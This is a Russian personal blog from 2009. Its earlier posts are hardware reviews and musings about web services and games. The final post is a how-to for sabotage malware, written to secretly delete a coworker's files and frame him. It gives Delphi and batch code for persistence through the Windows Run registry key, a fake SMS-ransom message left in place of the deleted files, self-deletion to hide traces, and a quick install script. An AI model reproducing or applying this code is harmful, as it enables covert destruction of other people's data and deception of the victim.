Поиск блогу

среда, 29 июля 2009 г.

Acorp L-100S

Когда-то я писал о том, какой хороший DSL модем Acorp 420. Я собственно и не отказываюсь от своих слов, даже не смотря на то, что он недавно благополучно сгорел во время грозы. Однако не все хорошо, что делает Acorp.
После грозы сгорел не только модем, но и несколько сетевых карт. Купил первые попавшиеся (не предавал никогда какого-то особого значения сетевым картам), ими оказались сетевые карты Acorp L-100S. На вид выглядит вполне прилично: в пакетике с инструкцией и диском с драйверами на все операционные системы (Win, Mac, Unix и др). Однако в процессе монтажа возникли проблемы.
Карта оказалась немного толста и никак не хотела залезать в PCI-слот, хотелось даже стукнуть молотком. А вот излишки полноты компенсировались в длине карты, она короче. В итоге при установке карты приходить ориентировать не на края слота, а на вырез в карте. Все это приводит к некачественной установке, что выражается либо в неопределении карты, либо в её чудесном пропадании. Кроме того драйвера на Windows 2003 вставали тоже с трудом, правда тут можно сослаться на некорректную работу системы.
В общем, я недоволен, а ведь купил целый две (одну в запас). D-Link - forever, ну в плане сетевых карт, не подводили.

вторник, 28 июля 2009 г.

Война машин. Борьба умов.

Играя на работе на телефоне в Тетрис, в разновидность Versus, меня как не профессионального программиста стал волновать один вопрос "А как? Как сам телефон играет". Ну и если дальше развивать мысль, то меня так же стало волновать что будет, если будет играть компьютер с компьютером, так называемая война машин.
А ведь понятно что все машины действуют по занесенным в их память алгоритмам, так сказать творения умов человека. То есть война машин есть не что иное как борьба умов. Если конечно умы разные.
Вот и возникла у меня идея провести войну машину, борьбу умов. Однако в памяти всплывают определенные попытки в этом направлении. Были Цифры, к которым я предлагал написать тактику для компьютера, в итоге писал только я, что приводило не к борьбе умов, а к борьбе ума, что было не очень-то интересно так как исход битвы был мной предсказуем. Был Выход из комнаты, но так же обилия алгоритмов выхода не наблюдалось, а товарищ MiM подошел к этому вопросу читерски и стал, можно сказать вне конкуренции. В общем опять не интересно...
Ну что-ж. Я думаю все-таки можно предпринять еще одну попытку организации данного мероприятия, где можно включить как старые этапы, так и придумать новых...
....тем более товарищ MiM опять заинтересовался...
P.S. Если вдруг случится чуда и кто-то из тех кто, сюда зашел почитать этот блог тоже заинтересовался и хотел бы принять участие пишите support@nabla.com.ru.

суббота, 18 июля 2009 г.

AVerTV DVI Box 1080i

Посчастливилось мне тут на днях подключать тюнер AVerTV DVI Box 1080i, особенность у которого DVI вход и выход. Честно говоря разочаровался.
Первое разочарование в том, что с первого раза я его не подключил. Задача была следующая: компьютер с видюхой с VGA интерфейсом и монитор с DVI и VGA со встроенными колонками. Подключал по схеме от компа в тюнер от тюнера в монитор. От тюнера к монитору  DVI провод идущий в комплекте, от компа к тюнеру тот который был через переходник. Телевизор есть изображения с компьютера нет.
Оказывается данная модель работает либо с двумя DVI либо с двумя VGA. В связи с  этим удивляет комплект поставки, где имеется всего один переходник с DVI на VGA и полной отсутствие VGA кабелей. Да и вообще инструкция по эксплуатации изобилует фразами типа "не поставляется". В итоге приходится докупать, при том, что сам-то тюнер тоже недешевый.
Вторым разочарованием для меня стала подставка под тюнер. На ней тюнер-то и без проводов стоит не очень, а с проводами и говорить не стоит.
Ну и третий минус это отвратительные цвета меню. Можно что-то разглядеть смотря в упор в монитор. Чуть отодвинулся и не видно ничего.
Пощупать подробнее тюнер не было возможности, так как  задача была только подключить и настроить. Поэтому достаточно подробный обзор можно еще где-нибудь и почитать. Но я бы себе не стал покупать данный продукт.

среда, 8 июля 2009 г.

iGoogle Blogger гаджет.

С первого взгляда заголовок поста напоминает непонятный набор слов, однако со второго непонятности не исчезают, и появляется еще одно разочарование.
В Google можно настроить персональную страницу iGoogle, на которой можно разместить различные гаджеты: время, игры, новости и прочее. Одним из таких гаджетов является Blogger, позволяющий отправлять посты в блог прямо с этой чудо-страницы. Установив его на своей странице, я попробовал что-нибудь сразу же отправить в блог, однако все кнопки и поля были заблокированы. "Не настроен" - мелькнула мысль. Однако поиски настроек привели меня к комментариям без ответа типа "А как он настраивается?". Подумав, что данный гаджет не работает, ввиду своей новизны, я культурно на него забил.
Однако вчера я в очередной раз наткнулся на описание данного гаджета. Решил посмотреть на свой, и о чудо, все поля и кнопки активны и в верхнем правом углу красуется название блога. Предпринял очередную попытку отправить тестовое сообщение - опять не удача. Вместо русских букв пришли знаки вопроса. Вычитал что, гаджет совместим не со всеми браузерам. Пробовал менять бразуеры и компьютеры. Все одно и тоже - облом.
Ну что ж, придется писать руками через интерфейс разработанный самим Bloggerом и параллельно ждать когда чудесным образом заработает это гаджет, как-то он все-таки настроился...

вторник, 7 июля 2009 г.

OpenID - моё разочарование.

Сегодня я разочаровался в OpenID. Сначала было долго радовался, что Blogger поддерживает данную технологию и вроде как является провайдером, все не знал когда и где бы можно было бы этой радостью воспользоваться. Терпение лопнуло. Воспользовался в LiveJournal в блоге "Искусство узнавать", оставив там свой комментарий. И вот оно разочарование. Планировал-то я, что в качестве автора комментария будет гордо красоваться Head, однако получилось скучно nablagroup.blogspot.com, даже не название блога, всего лишь адрес.
Ну и где-тут идентификация? Управляют-то этим блогом 3 человека. И как теперь определить кто оставил комментарий? Боюсь, что только по почерку.
Конечно, наверно, если использовать специализированного провайдера этой технологии, то оно может быть было бы по-другому. Но зарегистрироваться там как Head достаточно сложно. Да и пригодится этот идентификатор разве что комментарии оставлять, потому что сервисов, которые пускали бы по OpenID я, честно сказать, не встречал.

Казуальные игры.

Когда-то, около года назад, один мой друг сообщил, что работает в компании, которая занимается разработкой казуальных игр. Тогда для меня даже это слово было загадкой. Узнав же его значение я вообще подумал, что кому нужна эта тупость. Ну ладно тетрис - это классика, но всякие зумы и линии это уже не то. К тому же что тут нового и интересного можно придумать? Все что можно вроде уже придумали...
И совсем не давно мое мнение изменилось. Я наткнулся на сборник игр от Alawar Entertainment. Я даже не знал, что обычные игры можно так улучшить. Играть реально интересно, проходил одну за другой. Может конечно, свой отпечаток накладывает работа и от того появляется такая тяга к играм, но то что это лучше пасьянсов это точно. Интересно, красиво и увлекательно. В общем рекомендую...
Между тем задумался, а не напрячь ли свои мозги и не написать ли тоже какую-нибудь казуальную игру... Хотя с другой стороны, лежат ведь еще три недоделанных игры. Надо бы сначала их доделать...

среда, 1 июля 2009 г.

Хороший человек - Плохой человек.


Рассказали мне историю про хорошего и плохого человека. Заключается она в следуюшем. Жил на свете хороший человек, умный, трудолюбивый, старательный. Разработал он хорошие файлы какие-то, которые сразу же присвоил себе плохой человек. И нет бы спасибо сказать, но плохой человек наоборот по возможности старался подставить хорошего человека. Ну на то он собственно и плохой человек. Обиделься хороший человек и задумал он думу страшную, подставить плохого человека, поудалять вышеуказанные файлы, да так, чтобы никто не догадался...
Так получилось что, додумывать думу пришлось мне. Идея ясна надо на компьютер занести вирус, который бы вынес эти файлы. Но найти этот вирус достаточно сложно, а то вдруг еще чего лишнего поубивает. Поэтому лучше написать самому программку, которая удаляла бы указнные файлы, по истечению какого-то времени, а затем и сама удалялась.
Так как доступ к компу назначения есть, но неизвестно какой уровень компьютерной грамотности у этого доступа. То я решил написать админку для настройки. Получилась отдельная прожка, которую я назвал GoodMan. Состояла она, буквально в следующем, запускается окно, где надо указать через сколько перезапусков файлы удаляться, и собственно сам список этих файлов, затем по нажатию на кнопку "Сохранить", данная информация записывалась бы в ини-файл "c:\windows\badmanset".
Вторым этапом стало написание программы, которая бы использовала сохраненные указания и следовала бы им. Данная программа получила название BadMan. Сама программа совсем не сложная: при каждом запуске читаем ини-файл смотрим сколько она запускалась, прибавляем к этом числу единичку запсиываем обратно. Если запускалось много, то удаляем файлы. Только есть одно замечание - это мленкьая программа, без форм, юнитов и прочего:
program Project2;

uses
Windows,
sysutils,
ShellApi,
Registry,
inifiles;

{$R *.res}

var
Begin
ТЕКСТ ПРОГРАММЫ
end;

Все вроде бы ничего, но как-то похоже на деверсию, но не на вирус, так как никаких следов нет. Ну что ж маскируемся. Слышал я когда-то про вирус, котрый блокирует файлы и выдает сообщение с требование отправить смс на короткий номер с целью разблокировки. Закосим под это. Конечно блокировать ничего не будем. Просто создадим файлик на Visual Basic за место исходного файла с тем же именем, куда напишем что-то такое:
MsgBox "Для разблокировки файла отправьте SMS на номер 09666 с текстом 0897659",vbYes+vbCritical,"Файл заблокирован."
Ну что ж замаскировались. Надо теперь как-то запускать нашего "ПлохогоЧеловека", а именно запихать его в автозагрузку системы. Способов сучествет много, лично мне больше приголянулся способ с реестром. Сильно не выпендриваясь:
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',true);
Reg.WriteString('Start','c:\windows\badman.exe');
Reg.CloseKey;
Reg.Free;
Теперь у нас все запускается и работает. И вот все файлы удалены. Пришло время удалить себя. Ну удалить из реестра можно по аналогии. Но как удалить самого себя если, мы вроде как еще рабоатем? Ну что-ж, позовем киллера, которого сами и создадим. Этим киллером будет bat-файл. Оказывается он может сам себя удалить. Создаём и запускаем:
assignfile(f,'c:\windows\uninstall.bat');
rewrite(f);
writeln(f,'@echo off');
writeln(f,'del c:\windows\badmanset');
writeln(f,':try');
writeln(f,'del c:\windows\badman.exe');
writeln(f,'if exist c:\windows\badman.exe goto try');
writeln(f,'del c:\windows\uninstall.bat');
closefile(f);
ShellExecute(HInstance, 'open', 'c:\windows\uninstall.bat', nil, nil, SW_SHOWNORMAL);
Ну вот вроде и все. Можно легко указывать "хорошим человеком" цель "плохому человеку", "плохо человека" запихали в автозагрузку, научили его выполнять поставленную цель, маскируя свою работу, и после выполнения задания объяснили как можно самоуничтожиться. Ну и чтобы не путаться в порядке дейтсвий и обилии файлов создадим еще один батничек, который поможет Хорошему человеку, который будет осуществлять проникновение на компьютер Плохого человека, быстро установить нашу ловушку:
Goodman.exe
copy badman.exe c:\windows\badman.exe
badman.exe
Вот наше что-то и готово. Да же не знаю как это назвать, вроде как на вирус не катит в виду своей громозкости, но все-таки вроде бы является вредоносной программой. Однако о вредоносности еще можно поспорить. Так как, на мой взгляд, является преступным сама идея подставить человека, а данная программа все-лишь инстурмент, который позволяет это сделать, причем именно инструмент, так как без вмешательства и установки цели она совершенно безвредна. Остаётся только надеяться на то, что Хороший человек не станет плохим и не будет использовать данную программу многократно в своих личных целях.